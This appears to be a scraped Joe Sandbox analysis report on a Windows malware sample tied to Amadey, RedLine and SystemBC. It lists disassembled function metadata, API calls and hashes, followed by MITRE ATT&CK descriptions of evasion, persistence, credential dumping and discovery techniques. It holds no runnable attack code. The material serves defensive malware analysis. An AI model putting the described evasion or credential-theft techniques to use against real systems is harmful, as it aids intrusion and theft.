Snapshot File: hcaresult_12_2_1dd94090000_judit.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: c252f33624c7f565669a0859555b762ac2c235281803300c587cd53e67ed8c0a
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: C351DD337622008BEB9CEF15F465B9837A5F350B9CF548126DA0E8778AEB36C844C708

Function 000001DD940983E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001DD94098413
_IsNonwritableInCurrentImage.LIBCMT ref: 000001DD940984A8

Strings

csm, xrefs: 000001DD9409848E
f, xrefs: 000001DD94098426

Memory Dump Source

Source File: 0000000C.00000002.2558413645.000001DD94090000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001DD94090000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1dd94090000_judit.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: f729994897c19e99b1a4bd32c7d098078aa75bc0461ec5c42c1f3621613da45a
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: 8131BC336617409AE758EF11F869B9977A4F740B8CF05801AEE5F4778ADB3AC940C708

Function 000001DD940D2058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 000001DD940D20D7
WriteFile.KERNEL32 ref: 000001DD940D239F
WriteFile.KERNEL32 ref: 000001DD940D23E5
GetLastError.KERNEL32 ref: 000001DD940D249B

Memory Dump Source

Source File: 0000000C.00000002.2558467688.000001DD940C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DD940C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1dd940c0000_judit.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction ID: 5f073704517f5b2484d3142f4ef62c30187cd922a8b18a9d8897c7d9205d9d78
Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction Fuzzy Hash: A8D1D032B54B8089E715CFA9E4603EC3BB1F75479CF14821AEE5D97B9ADA35C40AC344

Function 000001DD940C14A4 Relevance: 6.3, APIs: 5, Instructions: 39memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001DD940C14C5
HeapFree.KERNEL32 ref: 000001DD940C14D4
GetProcessHeap.KERNEL32 ref: 000001DD940C14E1
HeapFree.KERNEL32 ref: 000001DD940C14F0
GetProcessHeap.KERNEL32 ref: 000001DD940C1500

Memory Dump Source

Source File: 0000000C.00000002.2558467688.000001DD940C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DD940C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1dd940c0000_judit.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: 4528e7a3e4b219964a3f362660e111760c9da069bd9666564712b908f91fe104
Instruction ID: 2317805e039b7672f93bde7de1a995eb7a397e1f7734ee8aca6f7e10fed5f81a
Opcode Fuzzy Hash: 4528e7a3e4b219964a3f362660e111760c9da069bd9666564712b908f91fe104
Instruction Fuzzy Hash: A701803A640B91D6E708DF62F91418963A0FB8DF89F084926EE8D43716DF35C055C744

Function 000001DD940D2980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 000001DD940D2A9C
GetLastError.KERNEL32 ref: 000001DD940D2B27

Memory Dump Source

Source File: 0000000C.00000002.2558467688.000001DD940C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DD940C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1dd940c0000_judit.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction ID: c8d5a225408088a4027f7ab15373b3990b8ee2d567685ce1cf32d0cd46292d90
Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction Fuzzy Hash: 9C91A03275075085F7689F65E4603ED2BA0BB44B9CF14420FEE4E57696DB76C88AC708

Function 000001DD940C7960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 000001DD940C798C
GetCurrentThreadId.KERNEL32 ref: 000001DD940C799A
GetCurrentProcessId.KERNEL32 ref: 000001DD940C79A6
QueryPerformanceCounter.KERNEL32 ref: 000001DD940C79B6

Memory Dump Source

Source File: 0000000C.00000002.2558467688.000001DD940C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DD940C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1dd940c0000_judit.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: d74b5a8f7fb6c45e3e2994dfff6aa88e678f1e76e541a52200944db9f8a798fd
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: 45113C36751F018AEB00CF60F8643E933A4F75975CF440E22EA6D867A5DF79C1A88380

Function 000001DD940C253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000001DD940C2620
StrCpyW.SHLWAPI ref: 000001DD940C2639

Strings

\\.\pipe\, xrefs: 000001DD940C262B

Memory Dump Source

Source File: 0000000C.00000002.2558467688.000001DD940C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DD940C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1dd940c0000_judit.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction ID: 11567e25c5adf22d5b40a281837ff3b48187662ab1504016e123a2a5962f370d
Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction Fuzzy Hash: 3971E236680781C2E728EF25FAA47EA6790F789B89F44012BDD0D43FCADA36C5458708

Function 000001DD94099E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 000001DD94099EB7

Strings

MOC, xrefs: 000001DD94099E7C
RCC, xrefs: 000001DD94099E85

Memory Dump Source

Source File: 0000000C.00000002.2558413645.000001DD94090000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001DD94090000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1dd94090000_judit.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: e85399a3119e2bead6b702c30db0ca036ac11dc7c1f1c68ce599ae619f2798b6
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: A6614637A04A848AEB28DF65E4503DE77A0F748B8CF044216EF8D17B9AEB39D595C704

Function 000001DD940D26F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000001DD940D2807
GetLastError.KERNEL32 ref: 000001DD940D2829

Strings

U, xrefs: 000001DD940D27B3

Memory Dump Source

Source File: 0000000C.00000002.2558467688.000001DD940C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DD940C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1dd940c0000_judit.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: 65f9a229d4d5c1fe6da721ccd430c687bff6a13f0f174a4823a723c75e89eb6f
Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction Fuzzy Hash: B441D132315B8082EB24DF25F8543EAB7A0F788B98F404126EE4D87799EB3DC445CB44

Function 000001DD940C94A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 000001DD940C94F0
RaiseException.KERNEL32 ref: 000001DD940C9531

Strings

csm, xrefs: 000001DD940C951E

Memory Dump Source

Source File: 0000000C.00000002.2558467688.000001DD940C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DD940C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1dd940c0000_judit.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: 29c0855058aa2235f0142100c94c34f83bdb0da1c579ba80a11542a15416dff9
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: FE116D36204B8082EB249F15F51039977E0FB88B98F584222EECC07799EF3DC555CB04

Function 000001DD94097356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000001DD9409737C

Strings

riptor at (, xrefs: 000001DD94097364
ierarchy Descriptor', xrefs: 000001DD94097381

Memory Dump Source

Source File: 0000000C.00000002.2558413645.000001DD94090000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001DD94090000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1dd94090000_judit.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: f5650c6da95b4a038ef2c53d36f9a0d3b275d20dae478be785c90950bf38c274
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: 75E08671A91B44A0DF0A8F22F8502D873A0EB58B68F489123995C0A312FA38D1E9C301

Function 000001DD940973B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000001DD940973D8

Strings

Locator', xrefs: 000001DD940973DD
riptor at (, xrefs: 000001DD940973C0

Memory Dump Source

Source File: 0000000C.00000002.2558413645.000001DD94090000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001DD94090000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1dd94090000_judit.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: e0a4d770fed107a98ebed7bab11aa862daf4b81412e2b72d108be027d6a0ca5d
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: 15E08671A51B4490DF098F21F4501D87360E758B58F889123C94C0A312EA38D1E5C300

Function 000001DD940C1BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001DD940C1C2D
HeapAlloc.KERNEL32 ref: 000001DD940C1C3B
GetProcessHeap.KERNEL32 ref: 000001DD940C1C77
HeapFree.KERNEL32 ref: 000001DD940C1C85

Part of subcall function 000001DD940C152C: StrCmpIW.SHLWAPI ref: 000001DD940C155D

Memory Dump Source

Source File: 0000000C.00000002.2558467688.000001DD940C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DD940C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1dd940c0000_judit.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: f02df18ca10de6727f48ae62bbb243ea2afe24163ad32d6be6500fc9f68a2b2e
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: 5911C435611B44C1EA08DB66F5542A973A0FBC9FC9F084126EE4D477A7DF39C442C704

Function 000001DD940C1268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001DD940C126E
HeapAlloc.KERNEL32 ref: 000001DD940C127D
GetProcessHeap.KERNEL32 ref: 000001DD940C1297
HeapAlloc.KERNEL32 ref: 000001DD940C12A8

Memory Dump Source

Source File: 0000000C.00000002.2558467688.000001DD940C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DD940C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1dd940c0000_judit.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: 37f925a1daf4f7679dd15f08200b6d94ce8f7fc83b4a60ddc3103f0c792a1708
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: 7DE06D3964170486EB088FA2E82838A37E1FBCDF0AF08C524C98D07352DF7E8499C750

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information.
Tactics:	Defense Evasion
Data Sources:	Drive: Drive Modification, File: File Modification, Firmware: Firmware Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report DPqKF5vqpe.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Amadey

Threatname: RedLine

Threatname: SystemBC

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Stealing of Sensitive Information

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.chk

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Windows Analysis Report
DPqKF5vqpe.exe

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
